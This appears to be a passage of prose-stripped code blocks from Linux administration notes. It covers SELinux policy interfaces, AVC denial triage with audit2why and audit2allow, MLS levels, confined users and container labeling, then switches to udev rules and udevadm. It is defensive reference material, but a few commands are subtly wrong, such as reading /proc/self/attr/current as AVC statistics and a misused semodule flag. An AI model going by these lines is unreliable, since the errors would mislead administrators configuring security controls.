##      Role allowed access.
##      </summary>
## </param>
#
interface(`myapp_admin',`
        gen_require(`
                type myapp_t, myapp_data_t;
                type myapp_log_t, myapp_etc_t;
        ')

        allow $1 myapp_t:process { ptrace signal_perms };
        ps_process_pattern($1, myapp_t)

        myapp_manage_data($1)
        myapp_manage_log($1)
        myapp_manage_config($1)

        myapp_run($1, $2)
')

# In another policy module (e.g., custom_httpd.te):
policy_module(custom_httpd, 1.0.0)

# Use myapp interface to allow httpd to connect to myapp
myapp_tcp_connect(httpd_t)

# This expands to all the rules defined in the interface

# Sample AVC denial
type=AVC msg=audit(1700000000.123:456): avc:  denied  { write } for  pid=1234 comm="httpd" name="upload.txt" dev="dm-0" ino=5678 scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:user_home_t:s0 tclass=file permissive=0

# Breakdown:
# - type=AVC: Access Vector Cache message
# - msg=audit(...): Timestamp and serial number
# - denied { write }: Permission(s) denied
# - pid=1234: Process ID
# - comm="httpd": Command name
# - name="upload.txt": Object name (file, port, etc.)
# - dev="dm-0": Device
# - ino=5678: Inode number
# - scontext=system_u:system_r:httpd_t:s0: Source context (process)
# - tcontext=unconfined_u:object_r:user_home_t:s0: Target context (object)
# - tclass=file: Object class
# - permissive=0: 0=enforcing, 1=permissive

# What this means:
# The httpd process (running in httpd_t domain) tried to write to upload.txt
# (labeled user_home_t), and was denied. This is expected because httpd
# shouldn't write to user home directories.

# File
# Permissions: read, write, execute, append, create, unlink, rename, setattr, getattr, etc.
tclass=file

# Directory
# Permissions: read, write, add_name, remove_name, search, rmdir, etc.
tclass=dir

# TCP Socket
# Permissions: bind, connect, listen, accept, send_msg, recv_msg, name_bind, name_connect, etc.
tclass=tcp_socket

# Process
# Permissions: fork, signal, ptrace, setpgid, transition, etc.
tclass=process

# Capability
# Permissions: dac_override, dac_read_search, net_admin, sys_admin, etc.
tclass=capability

# Unix stream socket
tclass=unix_stream_socket

# Netlink socket
tclass=netlink_route_socket

# Install setroubleshoot
yum install -y setroubleshoot setroubleshoot-server

# Restart auditd to enable sealert
systemctl restart auditd

# Run sealert on audit log
sealert -a /var/log/audit/audit.log

# Sample output:
# SELinux is preventing /usr/sbin/httpd from write access on the file upload.txt.
#
# *****  Plugin catchall_boolean (47.5 confidence) suggests   ******************
#
# If you want to allow httpd to unified
# Then you must tell SELinux about this by enabling the 'httpd_unified' boolean.
#
# Do
# setsebool -P httpd_unified 1
#
# *****  Plugin catchall_labels (36.2 confidence) suggests   *******************
#
# If you want to allow httpd to have write access on the upload.txt file
# Then you need to change the label on upload.txt
# Do
# # semanage fcontext -a -t FILE_TYPE 'upload.txt'
# where FILE_TYPE is one of the following: httpd_sys_rw_content_t, ...
# Then execute:
# restorecon -v 'upload.txt'

# Monitor in real-time
sealert -b

# Get alert by ID
sealert -l "*"

# sealert provides:
# - Human-readable explanations
# - Suggested fixes (booleans, relabeling, policy modules)
# - Confidence ratings for each suggestion

# Analyze recent denials
ausearch -m avc -ts recent | audit2why

# Output explains the cause:
# type=AVC msg=audit(...): avc:  denied  { name_connect } ...
#
#       Was caused by:
#       The boolean httpd_can_network_connect was set incorrectly.
#       Description:
#       Allow httpd to can network connect
#
#       Allow access by executing:
#       # setsebool -P httpd_can_network_connect 1

# Or if no boolean exists:
# type=AVC msg=audit(...): avc:  denied  { read } ...
#
#       Was caused by:
#               Missing type enforcement (TE) allow rule.
#
#               You can use audit2allow to generate a loadable module to allow this access.

# Search for allow rules
sesearch --allow -s httpd_t -t httpd_sys_content_t -c file -p read

# Output:
# allow httpd_t httpd_sys_content_t:file { read open getattr };

# Find all rules for a source domain
sesearch --allow -s httpd_t

# Find rules for a target type
sesearch --allow -t passwd_file_t

# Find domain transitions
sesearch --type_trans -s init_t -t httpd_exec_t

# Find boolean-controlled rules
sesearch --allow -s httpd_t -c tcp_socket -p name_connect -C

# seinfo - List policy components
seinfo -t | grep http  # List all types matching "http"
seinfo -r              # List all roles
seinfo -u              # List all users
seinfo -b | grep httpd # List booleans matching "httpd"
seinfo -x -t httpd_t   # Show attributes for httpd_t type

# Check if a boolean exists
getsebool httpd_can_network_connect

# Find file context rules
semanage fcontext -l | grep /var/www

# Check expected vs actual context
matchpathcon -V /var/www/html/index.html

# List all customizations
semanage export

# Show port labels
semanage port -l | grep 8080

# Check if module is loaded
semodule -l | grep myapp

# View dontaudit rules (suppressed denials)
semodule -DB  # Disable dontaudit
# Generate denials...
semodule -B   # Re-enable dontaudit

# AVC denial example
avc: denied { read } for comm="httpd" name="data.txt" scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:user_home_t:s0 tclass=file

# Solutions:
# 1. Fix file labeling (if file is in wrong location)
ls -Z /var/www/html/data.txt
restorecon -v /var/www/html/data.txt

# 2. Add file context rule (if file is in custom location)
semanage fcontext -a -t httpd_sys_content_t "/web/data.txt"
restorecon -v /web/data.txt

# 3. Check for boolean
audit2why < denial.log
# Might suggest: setsebool -P httpd_read_user_content 1

# 4. Create custom policy (last resort)
ausearch -m avc -ts recent | audit2allow -M myhttpd
semodule -i myhttpd.pp

# AVC denial
avc: denied { name_bind } for comm="httpd" src=8080 scontext=system_u:system_r:httpd_t:s0 tcontext=system_u:object_r:unreserved_port_t:s0 tclass=tcp_socket

# Solution: Add port label
semanage port -a -t http_port_t -p tcp 8080

# Verify
semanage port -l | grep 8080

# Restart service
systemctl restart httpd

# AVC denial
avc: denied { name_connect } for comm="httpd" dest=3306 scontext=system_u:system_r:httpd_t:s0 tcontext=system_u:object_r:mysqld_port_t:s0 tclass=tcp_socket

# Check boolean suggestion
ausearch -m avc -ts recent | audit2why
# Suggests: setsebool -P httpd_can_network_connect_db 1

# Enable boolean
setsebool -P httpd_can_network_connect_db 1

# For general network access
setsebool -P httpd_can_network_connect 1

# AVC denial
avc: denied { dac_override } for comm="myapp" capability=1 scontext=system_u:system_r:myapp_t:s0 tcontext=system_u:system_r:myapp_t:s0 tclass=capability

# This means myapp_t needs dac_override capability (bypass file permissions)

# Create policy module
cat > myapp_cap.te <<EOF
module myapp_cap 1.0;

require {
    type myapp_t;
    class capability dac_override;
}

allow myapp_t self:capability dac_override;
EOF

checkmodule -M -m -o myapp_cap.mod myapp_cap.te
semodule_package -o myapp_cap.pp -m myapp_cap.mod
semodule -i myapp_cap.pp

# AVC denials (usually multiple)
avc: denied { execute } for comm="init" name="myapp" scontext=system_u:system_r:init_t:s0 tcontext=system_u:object_r:bin_t:s0 tclass=file
avc: denied { transition } for comm="init" exe="/usr/sbin/myapp" scontext=system_u:system_r:init_t:s0 tcontext=system_u:system_r:myapp_t:s0 tclass=process
avc: denied { entrypoint } for comm="myapp" path="/usr/sbin/myapp" scontext=system_u:system_r:myapp_t:s0 tcontext=system_u:object_r:bin_t:s0 tclass=file

# Solution: Create domain transition rules
cat > myapp_trans.te <<EOF
module myapp_trans 1.0;

require {
    type init_t, myapp_t, bin_t;
    class file { execute entrypoint };
    class process transition;
}

# Allow transition
domtrans_pattern(init_t, bin_t, myapp_t)
EOF

checkmodule -M -m -o myapp_trans.mod myapp_trans.te
semodule_package -o myapp_trans.pp -m myapp_trans.mod
semodule -i myapp_trans.pp

# 1. Reproduce the issue
systemctl restart myapp
# Error occurs

# 2. Check recent AVC denials
ausearch -m avc -ts recent -i

# 3. Analyze denials with audit2why
ausearch -m avc -ts recent | audit2why

# 4. Check for boolean suggestions
# If audit2why suggests a boolean:
setsebool -P suggested_boolean 1

# 5. If no boolean exists, check file contexts
ls -Z /path/to/file
matchpathcon /path/to/file

# 6. Fix file context if wrong
restorecon -Rv /path/to/directory

# 7. If problem persists, use sealert
sealert -a /var/log/audit/audit.log

# 8. If still not resolved, create custom policy
ausearch -m avc -ts recent | audit2allow -M myapp_fix
semodule -i myapp_fix.pp

# 9. Test
systemctl restart myapp

# 10. Monitor for new denials
tail -f /var/log/audit/audit.log | grep AVC

# Make specific domain permissive for debugging
semanage permissive -a myapp_t

# Now myapp_t denials are logged but not enforced
# Perform all operations to generate complete denial log

# Collect all denials
ausearch -m avc -c myapp | audit2allow -M myapp_complete

# Review the generated policy
cat myapp_complete.te

# Install if appropriate
semodule -i myapp_complete.pp

# Remove permissive status
semanage permissive -d myapp_t

# Test in enforcing mode

#!/bin/bash
# selinux_debug.sh - Quick SELinux debugging

COMMAND="$1"
shift
ARGS="$@"

if [ -z "$COMMAND" ]; then
    echo "Usage: $0 <command> [args]"
    exit 1
fi

# Clear previous audit logs marker
MARKER=$(date +%s)
logger "SELinux Debug: Starting $COMMAND at $MARKER"

# Run command
echo "Running: $COMMAND $ARGS"
$COMMAND $ARGS
RETVAL=$?

# Wait a moment for audit log
sleep 1

# Show denials
echo -e "\n=== AVC Denials ==="
ausearch -m avc -ts $MARKER -i 2>/dev/null

# Analyze
echo -e "\n=== Analysis ==="
ausearch -m avc -ts $MARKER 2>/dev/null | audit2why

# Suggest fix
echo -e "\n=== Suggested Fix ==="
ausearch -m avc -ts $MARKER 2>/dev/null | audit2allow -M ${COMMAND}_fix
if [ -f ${COMMAND}_fix.pp ]; then
    echo "Policy module created: ${COMMAND}_fix.pp"
    echo "To install: semodule -i ${COMMAND}_fix.pp"
fi

exit $RETVAL

# View AVC statistics
seinfo --stats

# AVC cache stats in /proc
cat /proc/sys/fs/selinux/avc/cache_stats
# lookups hits misses allocations reclaims frees

# Increase AVC cache size if needed (default is usually sufficient)
# Edit /etc/selinux/semanage.conf or kernel parameters

# Disable audit logging temporarily (for performance testing)
auditctl -e 0

# Re-enable
auditctl -e 1

# Check audit status
auditctl -s

# Reduce audit log verbosity
# Add dontaudit rules to suppress unnecessary denials
# Example in policy:
# dontaudit httpd_t user_home_t:file read;

# Enable dontaudit rules
semodule -B

# Disable dontaudit rules (for debugging)
semodule -DB

# Check policy size
seinfo
# Statistics for policy file: /sys/fs/selinux/policy
# Policy Version & Type: v.31 (binary, mls)
#
#    Classes:           134    Permissions:       456
#    Types:            4972    Attributes:        256
#    Users:               9    Roles:              14
#    Booleans:          345    Cond. Expr.:       367
#    Allow:          109326    Neverallow:          0
#    Auditallow:        160    Dontaudit:       10234

# Large policies can impact performance
# Use targeted policy instead of strict
# Remove unused modules
semodule -r unused_module

# Requires iptables and SELinux integration
# See netfilter.md for iptables details

# Example: Label incoming HTTP traffic
iptables -t mangle -A INPUT -p tcp --dport 80 -j SECMARK --selctx system_u:object_r:http_packet_t:s0

# Save the mark for the connection
iptables -t mangle -A INPUT -j CONNSECMARK --save

# Restore mark for packets in existing connections
iptables -t mangle -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j CONNSECMARK --restore

# SELinux policy rule to allow httpd to receive http_packet_t
# In httpd policy:
allow httpd_t http_packet_t:packet { recv };

# Label outgoing packets
iptables -t mangle -A OUTPUT -p tcp --sport 80 -j SECMARK --selctx system_u:object_r:http_packet_t:s0
iptables -t mangle -A OUTPUT -j CONNSECMARK --save

# Allow httpd to send
allow httpd_t http_packet_t:packet { send };

# View packet labels
iptables -t mangle -L -n -v

# Install netlabel tools
yum install -y netlabel_tools

# Configure netlabel
# Example: Unlabeled network (most common)
netlabelctl map add default address:0.0.0.0/0 protocol:unlbl

# CIPSO for labeled network
netlabelctl cipsov4 add pass doi:1 tags:1,2,5,6
netlabelctl map add default address:192.168.1.0/24 protocol:cipsov4,1

# View netlabel configuration
netlabelctl -p map list

# SELinux policy for network labeling
# Allow domain to send/receive on labeled network
allow myapp_t netlabel_peer_t:peer recv;
allow myapp_t netlabel_peer_t:peer send;

# MLS context format:
# user:role:type:sensitivity[:categories]
# user_u:user_r:user_t:s1:c0,c1

# View MLS range
id -Z
# unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
#                                          ↑       ↑
#                                      clearance  categories

# MLS range notation:
# s0-s0:c0.c1023  means:
#   - Current level: s0
#   - Clearance: s0
#   - Categories: c0 through c1023

# Install MLS policy
yum install -y selinux-policy-mls

# Switch to MLS policy
vi /etc/selinux/config
# SELINUX=enforcing
# SELINUXTYPE=mls

# Relabel filesystem
fixfiles -F onboot
reboot

# After reboot, verify MLS is active
sestatus
# SELinux status:                 enabled
# Loaded policy name:             mls
# Policy MLS status:              enabled

# Create MLS users
semanage user -a -R "user_r" -r s0-s2:c0.c1023 mlsuser_u

# Map Linux user to MLS user
semanage login -a -s mlsuser_u -r s0-s2:c0.c1023 alice

# User logs in and gets MLS context
# alice logs in...
id -Z
# mlsuser_u:user_r:user_t:s0-s2:c0.c1023

# Create files at different sensitivity levels
# As user with s0-s2 clearance:

# Create file at s0 (unclassified)
runcon -l s0 touch /tmp/unclassified.txt
ls -Z /tmp/unclassified.txt
# mlsuser_u:object_r:user_tmp_t:s0 /tmp/unclassified.txt

# Create file at s1 (confidential)
runcon -l s1 touch /tmp/confidential.txt
ls -Z /tmp/confidential.txt
# mlsuser_u:object_r:user_tmp_t:s1 /tmp/confidential.txt

# Create file at s2 (secret)
runcon -l s2 touch /tmp/secret.txt
ls -Z /tmp/secret.txt
# mlsuser_u:object_r:user_tmp_t:s2 /tmp/secret.txt

# Reading files:
# Process at s0 can read s0 files only
runcon -l s0 cat /tmp/unclassified.txt  # OK
runcon -l s0 cat /tmp/confidential.txt  # DENIED (read up)

# Process at s2 can read s0, s1, s2 files
runcon -l s2 cat /tmp/unclassified.txt  # OK (read down allowed)
runcon -l s2 cat /tmp/secret.txt        # OK

# Writing files:
# Process at s2 cannot write to s0 files (write down)
runcon -l s2 sh -c 'echo data > /tmp/unclassified.txt'  # DENIED

# Process at s0 cannot write to s2 files (write up)
runcon -l s0 sh -c 'echo data > /tmp/secret.txt'  # DENIED

# Categories provide compartmentalization
# Example: c0 = Project A, c1 = Project B

# Create file in category c0
runcon -l s1:c0 touch /tmp/project_a.txt

# Create file in category c1
runcon -l s1:c1 touch /tmp/project_b.txt

# Process with only c0 cannot access c1 files
runcon -l s1:c0 cat /tmp/project_a.txt  # OK
runcon -l s1:c0 cat /tmp/project_b.txt  # DENIED

# Process with c0,c1 can access both
runcon -l s1:c0,c1 cat /tmp/project_a.txt  # OK
runcon -l s1:c0,c1 cat /tmp/project_b.txt  # OK

# SELinux user types:
# - unconfined_u: No restrictions (default in targeted policy)
# - user_u: Restricted user, cannot su or sudo
# - staff_u: Can sudo to staff_t, limited admin tasks
# - sysadm_u: Can sudo to sysadm_t, full admin capabilities
# - guest_u: Very restricted, no network access, no X11

# View user mappings
semanage login -l
# Login Name           SELinux User         MLS/MCS Range        Service
# __default__          unconfined_u         s0-s0:c0.c1023       *
# root                 unconfined_u         s0-s0:c0.c1023       *

# Create restricted user
useradd -m restricteduser

# Map to user_u (restricted)
semanage login -a -s user_u restricteduser

# User logs in
# restricteduser logs in...
id -Z
# user_u:user_r:user_t:s0

# Restrictions:
# - Cannot su or sudo
# - Cannot execute files in /tmp (noexec)
# - Limited access to system resources

# Create staff user (can perform some admin tasks)
useradd -m staffuser
semanage login -a -s staff_u staffuser

# staffuser can sudo to staff_t
# As staffuser:
sudo -i
id -Z
# staff_u:staff_r:staff_t:s0-s0:c0.c1023

# Create sysadm user (full admin)
useradd -m adminuser
semanage login -a -s sysadm_u adminuser

# adminuser can sudo to sysadm_t (equivalent to root)
# As adminuser:
sudo -i
id -Z
# sysadm_u:sysadm_r:sysadm_t:s0-s0:c0.c1023

# Guest user (very restricted)
useradd -m guestuser
semanage login -a -s guest_u guestuser
# guest_u cannot:
# - Access network
# - Run programs in home directory
# - Use X11
# - Execute sudo/su

# Install sandbox tools
yum install -y policycoreutils-sandbox

# Run command in sandbox
sandbox firefox

# The sandboxed process:
# - Runs in sandbox_t domain
# - Has limited access to system
# - Cannot access network (by default)
# - Has temporary home directory

# Sandbox with network access
sandbox -M firefox

# Sandbox with access to specific directory
sandbox -M -H /tmp/sandbox_home firefox

# Custom sandbox options
sandbox -M -t sandbox_web_t -l s0:c100,c200 /usr/bin/myapp

# Check sandbox process
ps -eZ | grep sandbox
# user_u:user_r:sandbox_t:s0:c123,c456  5678 pts/0  00:00:01 firefox

# Sandbox configuration
cat /etc/sysconfig/sandbox

# Constraints in policy (usually in constraints file)

# Example: Users can only create files with their own user context
constrain file { create relabelto }
    (u1 == u2);

# Example: Only certain roles can transition to sysadm_r
constrain process { transition }
    (r1 == sysadm_r and r2 == sysadm_r) or
    (r1 == staff_r and r2 == sysadm_r);

# MLS constraints (enforcing Bell-LaPadula)
mlsconstrain file { read }
    (l1 dom l2);  # Process level must dominate file level

mlsconstrain file { write }
    (l1 eq l2);   # Write only at same level

# View active constraints
seinfo --constrain

# Docker SELinux integration
# Containers run in svirt_lxc_net_t or container_t

# Check Docker SELinux status
docker info | grep -i security
# Security Options: selinux

# Run container with SELinux enabled
docker run -d --name web nginx

# Check process label
ps -eZ | grep nginx
# system_u:system_r:svirt_lxc_net_t:s0:c123,c456  7890 ? 00:00:00 nginx

# Volume labeling (private to container)
docker run -v /data:/data:Z nginx

# Volume labeling (shared across containers)
docker run -v /data:/data:z nginx

# Disable SELinux for specific container (not recommended)
docker run --security-opt label=disable nginx

# Custom SELinux label
docker run --security-opt label=type:svirt_apache_t nginx

# Podman has better SELinux integration than Docker

# Run rootless container
podman run -d --name web nginx

# Check label
podman top web label
# system_u:system_r:container_t:s0:c123,c456

# Volume with :Z (private)
podman run -v /data:/data:Z nginx

# Volume with :z (shared)
podman run -v /data:/data:z nginx

# Check container labels
podman inspect --format='{{.ProcessLabel}}' web
podman inspect --format='{{.MountLabel}}' web

# Kubernetes pod security context with SELinux

apiVersion: v1
kind: Pod
metadata:
  name: selinux-pod
spec:
  securityContext:
    seLinuxOptions:
      level: "s0:c123,c456"
      type: "svirt_lxc_net_t"
  containers:
  - name: nginx
    image: nginx
    securityContext:
      seLinuxOptions:
        level: "s0:c123,c456"

# Volume with SELinux context
apiVersion: v1
kind: PersistentVolume
metadata:
  name: pv-selinux
spec:
  capacity:
    storage: 1Gi
  accessModes:
    - ReadWriteOnce
  hostPath:
    path: /data
  seLinux:
    type: "svirt_sandbox_file_t"
    level: "s0:c123,c456"

# Namespaces provide resource isolation (PID, network, mount, etc.)
# SELinux provides mandatory access control

# Example: Combining user namespace with SELinux
unshare --user --pid --fork --mount-proc bash

# Process still has SELinux context
id -Z
# unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

# In containers, both are used:
# - Namespaces isolate resources (filesystem, network, PIDs)
# - SELinux (MCS) prevents cross-container access

# Example: Two containers with same namespaces but different MCS labels
# Container 1: s0:c100,c200
# Container 2: s0:c300,c400
# Even if they could see each other's files via namespace escape,
# SELinux would block access due to different categories

# Install and configure application first
systemctl start myapp

# Make domain permissive
semanage permissive -a myapp_t

# Exercise all functionality
# - Normal operations
# - Error conditions
# - Edge cases

# Collect denials
ausearch -m avc -c myapp > myapp_denials.log

# Generate comprehensive policy
audit2allow -M myapp < myapp_denials.log

# Review policy
cat myapp.te

# Install if appropriate
semodule -i myapp.pp

# Remove permissive status
semanage permissive -d myapp_t

# Test in enforcing mode
systemctl restart myapp

# Don't create one giant policy module
# Instead, create focused modules:

# Base module: Core application permissions
# myapp_base.te

# Network module: Network-related permissions
# myapp_net.te

# Database module: Database access
# myapp_db.te

# This allows:
# - Easier maintenance
# - Selective enabling/disabling
# - Better organization

# Don't reinvent the wheel
# Use existing reference policy interfaces

# Bad:
allow myapp_t etc_t:file { read open getattr };

# Good:
files_read_etc_files(myapp_t)

# Benefits:
# - Cleaner code
# - Consistent with system policy
# - Automatically updated with policy updates

# Add comments to .te files
## <summary>
##   My Application - Web Service
## </summary>
## <desc>
##   <p>
##     This policy allows myapp to function as a web service,
##     including database access and log file writing.
##   </p>
## </desc>

# Document interfaces
## <summary>
##   Connect to myapp over TCP socket
## </summary>
## <param name="domain">
##   <summary>
##   Domain allowed access
##   </summary>
## </param>

# Always test policy changes in VMs first
# - Easy to snapshot and restore
# - Safe to break
# - Can test bootup after changes

# Snapshot before changes
virsh snapshot-create-as test-vm before-selinux-change

# Make changes
semodule -i new_policy.pp

# Test
# If broken, restore snapshot
virsh snapshot-revert test-vm before-selinux-change

# Instead of disabling SELinux globally, use permissive domains

# Make specific domain permissive
semanage permissive -a myapp_t

# This allows:
# - SELinux remains enforcing for everything else
# - Denials are logged (for debugging)
# - myapp continues to work

# Fix policy based on logs
ausearch -m avc -c myapp | audit2allow -M myapp_fix
semodule -i myapp_fix.pp

# Remove permissive status
semanage permissive -d myapp_t

#!/bin/bash
# test_selinux_policy.sh

# Install policy
semodule -i myapp.pp

# Apply file contexts
restorecon -Rv /opt/myapp/

# Start service
systemctl start myapp

# Wait for startup
sleep 5

# Test functionality
curl http://localhost:8080/health
if [ $? -ne 0 ]; then
    echo "Health check failed"
    exit 1
fi

# Check for denials
DENIALS=$(ausearch -m avc -ts recent -c myapp | wc -l)
if [ $DENIALS -gt 0 ]; then
    echo "Found $DENIALS SELinux denials"
    ausearch -m avc -ts recent -c myapp | audit2why
    exit 1
fi

echo "Tests passed"
exit 0

# Grant only necessary permissions

# Bad:
allow myapp_t file_type:file { read write execute };  # Too broad!

# Good:
allow myapp_t myapp_data_t:file { read write };       # Specific types
allow myapp_t myapp_exec_t:file { execute };          # Only what's needed

# Don't grant permissions unconditionally
# Use booleans for features that may not be needed

# In policy:
gen_tunable(myapp_can_network, false)

if (myapp_can_network) {
    corenet_tcp_connect_all_ports(myapp_t)
}

# Administrators can enable as needed:
setsebool -P myapp_can_network on

# Never run network-facing services in unconfined_t
# Always create specific domains

# Check for unconfined network services
ps -eZ | grep unconfined_t | grep -E ':(httpd|sshd|mysqld|postfix)'

# If found, create or assign proper domain

# Periodically review policy

# Find overly permissive rules
sesearch --allow -s myapp_t -p write | grep -v myapp_

# Find capabilities
sesearch --allow -s myapp_t -c capability

# Review custom policies
semodule -l -C  # List only custom modules

# Review each custom module
semodule -e myapp --extract
# Review myapp.te

# Bad:
setenforce 0  # Gives up on SELinux

# Good:
ausearch -m avc -ts recent | audit2why  # Find root cause
# Fix with boolean, relabeling, or policy module

# Bad (temporary change):
chcon -t httpd_sys_content_t /web/index.html
# Lost on restorecon or relabel!

# Good (permanent change):
semanage fcontext -a -t httpd_sys_content_t "/web(/.*)?"
restorecon -Rv /web/
# Persists across relabels

# Bad:
audit2allow -M myapp < /var/log/audit/audit.log
# This includes ALL denials, possibly from other services!

# Good:
ausearch -m avc -c myapp -ts recent | audit2allow -M myapp
# Only denials from myapp

# Always test after changes!

# Install policy
semodule -i myapp.pp

# Restart service
systemctl restart myapp

# Verify no denials
ausearch -m avc -ts recent -c myapp

# Test functionality
curl http://localhost:8080/test

# Creating files in wrong locations

# Bad:
mkdir /opt/web
cp index.html /opt/web/
# Default label: usr_t (not accessible by httpd)

# Good:
mkdir /opt/web
semanage fcontext -a -t httpd_sys_content_t "/opt/web(/.*)?"
restorecon -Rv /opt/web/
cp index.html /opt/web/
# Correct label: httpd_sys_content_t

# Suppress harmless denials

# Many programs probe for optional features
# Example: httpd checking if user home dirs exist
# This generates denials even though it's not critical

# In policy:
dontaudit httpd_t user_home_dir_t:dir { search };

# This suppresses the denial from logs
# Reduces log noise and audit overhead

# Check AVC statistics
cat /proc/self/attr/current

# If high miss rate, consider kernel tuning
# (Usually not necessary on modern systems)

# Targeted policy has better performance than strict/MLS
# Only confines necessary services

# Check current policy
sestatus | grep "policy name"

# For most use cases, targeted is sufficient

# List all modules
semodule -l

# Remove unused modules
semodule -r unused_module1 unused_module2

# This reduces policy size and lookup time

# Example policies from reference policy
cd /usr/share/selinux/devel/
# Contains example policies and Makefiles

# System policy source
cd /etc/selinux/targeted/
# Contains active policy files

# Custom policy development
mkdir ~/sepolicy
cd ~/sepolicy
# Create .te, .if, .fc files here

# Quick reference for common debugging tasks

# 1. Check SELinux status
getenforce
sestatus

# 2. View recent denials
ausearch -m avc -ts recent -i

# 3. Explain denials
ausearch -m avc -ts recent | audit2why

# 4. User-friendly analysis
sealert -a /var/log/audit/audit.log

# 5. Check file context
ls -Z /path/to/file
matchpathcon /path/to/file

# 6. Fix file context
restorecon -Rv /path/

# 7. Add permanent file context rule
semanage fcontext -a -t <type> "/path(/.*)?"
restorecon -Rv /path/

# 8. Add port label
semanage port -a -t <type> -p tcp <port>

# 9. Enable boolean
setsebool -P <boolean> on

# 10. Create policy module
ausearch -m avc -ts recent -c <program> | audit2allow -M <name>
semodule -i <name>.pp

# 11. Make domain permissive (debugging)
semanage permissive -a <domain>

# 12. Check for boolean-controlled rules
sesearch --allow -s <domain> -C

# 13. Query policy
sesearch --allow -s <source> -t <target>
seinfo -t | grep <pattern>

# 14. List customizations
semanage export
semanage fcontext -l -C
semanage port -l -C
semanage boolean -l -C

Kernel Space                    User Space
┌─────────────┐              ┌──────────────┐
│   Kernel    │              │    udevd     │
│  (devices)  │              │   (daemon)   │
└──────┬──────┘              └──────┬───────┘
       │                            │
       │ uevent                     │
       ├───────────────────────────>│
       │                            │
       │                     ┌──────▼───────┐
┌──────▼──────┐              │ Rules Engine │
│    sysfs    │<─────────────┤  Processing  │
│  /sys/...   │   reads      └──────┬───────┘
└─────────────┘                     │
                              ┌─────▼──────┐
┌─────────────┐               │   Action   │
│  devtmpfs   │<──────────────┤  - NAME    │
│  /dev/...   │   creates     │  - SYMLINK │
└─────────────┘               │  - MODE    │
                              │  - RUN     │
                              └────────────┘

# /etc/udev/udev.conf
udev_log=info
children_max=128
exec_delay=0
event_timeout=180
resolve_names=early

systemd-hwdb update    # Compile text files to binary

MATCH_KEY==value, MATCH_KEY2==value, ASSIGNMENT_KEY=value, ASSIGNMENT_KEY2=value

# Match USB device and set permissions
SUBSYSTEM=="usb", ATTR{idVendor}=="0403", ATTR{idProduct}=="6001", \
    MODE="0660", GROUP="dialout"

# Get last component of path
SYMLINK+="disk/by-path/$env{ID_PATH}/basename"

# Get all but last component
PROGRAM="/bin/echo $env{ID_PATH}/dirname"

# Replace characters
SYMLINK+="disk/by-label/$env{ID_FS_LABEL}/replace{' ', '_'}"

/etc/udev/rules.d/
├── 10-local-network.rules      # Processed first
├── 50-usb-devices.rules        # Processed second
└── 99-local-late.rules         # Processed last

# Monitor both kernel events and udev processing
udevadm monitor

# Monitor with more detail
udevadm monitor --environment --property

# Monitor specific subsystem
udevadm monitor --subsystem-match=block

# Monitor multiple subsystems
udevadm monitor --subsystem-match=block --subsystem-match=usb

# Monitor with kernel events only
udevadm monitor --kernel

KERNEL[12345.678] add      /devices/pci0000:00/.../block/sdb (block)
UDEV  [12345.789] add      /devices/pci0000:00/.../block/sdb (block)

# Query by device node
udevadm info /dev/sda

# Query by device path
udevadm info --path=/sys/class/net/eth0

# Query with all properties
udevadm info --query=property /dev/sda

# Query specific property
udevadm info --query=property --property=ID_MODEL /dev/sda

# Query all properties including parent devices
udevadm info --attribute-walk /dev/sda

# Show device path
udevadm info --query=path /dev/sda

# Show symlinks
udevadm info --query=symlink /dev/sda

# Show all attributes for matching
udevadm info --attribute-walk --name=/dev/sda1

# Example output:
#   looking at device '/devices/pci0000:00/.../block/sda/sda1':
#     KERNEL=="sda1"
#     SUBSYSTEM=="block"
#     ATTR{size}=="1953525168"
#     ATTR{ro}=="0"
#   looking at parent device:
#     KERNELS=="sda"
#     SUBSYSTEMS=="block"
#     ATTRS{model}=="Samsung SSD 860"

# Test rules for a device
udevadm test /sys/class/net/eth0

# Test with debugging output
udevadm test --action=add /sys/class/block/sda

# Test and show only what would be executed
udevadm test /sys/class/block/sda 2>&1 | grep -E "RUN|SYMLINK|NAME"

# Trigger events for all devices
udevadm trigger

# Trigger for specific subsystem
udevadm trigger --subsystem-match=block

# Trigger for specific device
udevadm trigger --name-match=/dev/sda

# Trigger with specific action
udevadm trigger --action=change --subsystem-match=net

# Trigger for devices with specific attribute
udevadm trigger --attr-match=idVendor=046d

# Dry run (show what would be triggered)
udevadm trigger --dry-run --subsystem-match=usb

# Reload rules
udevadm control --reload-rules

# Reload and trigger events to apply new rules
udevadm control --reload-rules && udevadm trigger

# Wait for all events to be processed
udevadm settle

# Wait with timeout (30 seconds)
udevadm settle --timeout=30

# Wait for specific event
udevadm trigger --name-match=/dev/sda && udevadm settle

# Reload rules
udevadm control --reload

# Set log level
udevadm control --log-level=debug

# Stop executing rules (emergency)
udevadm control --stop-exec-queue

# Resume executing rules
udevadm control --start-exec-queue

# Show daemon status
systemctl status systemd-udevd

# View all symlinks for block devices
ls -la /dev/disk/by-*

# By UUID
ls -la /dev/disk/by-uuid/

# By label
ls -la /dev/disk/by-label/

# By path
ls -la /dev/disk/by-path/

# By ID
ls -la /dev/disk/by-id/

# By partition UUID
ls -la /dev/disk/by-partuuid/

# Database location
ls -la /run/udev/data/

# Query database for device
udevadm info --query=all /dev/sda | grep "^[ES]:"
# E: = Environment variable
# S: = Symlink

# /etc/udev/rules.d/70-persistent-net.rules
# Rename network interface to eth0 based on MAC address
SUBSYSTEM=="net", ACTION=="add", ATTR{address}=="00:11:22:33:44:55", NAME="eth0"

# Multiple interfaces
SUBSYSTEM=="net", ACTION=="add", ATTR{address}=="00:11:22:33:44:55", NAME="lan0"
SUBSYSTEM=="net", ACTION=="add", ATTR{address}=="00:11:22:33:44:56", NAME="wan0"

# Name wireless interfaces
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{type}=="1", \
    KERNEL=="wlan*", NAME="wifi0"

# Name USB ethernet adapters
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="r8152", NAME="usb-eth0"

# Force traditional eth0 style naming
SUBSYSTEM=="net", ACTION=="add", NAME="eth$env{IFINDEX}"

# Name interface by PCI bus position
SUBSYSTEM=="net", ACTION=="add", \
    KERNELS=="0000:02:00.0", NAME="lan-slot2"

# /etc/udev/rules.d/60-persistent-storage.rules
# Create symlink for disk by serial number
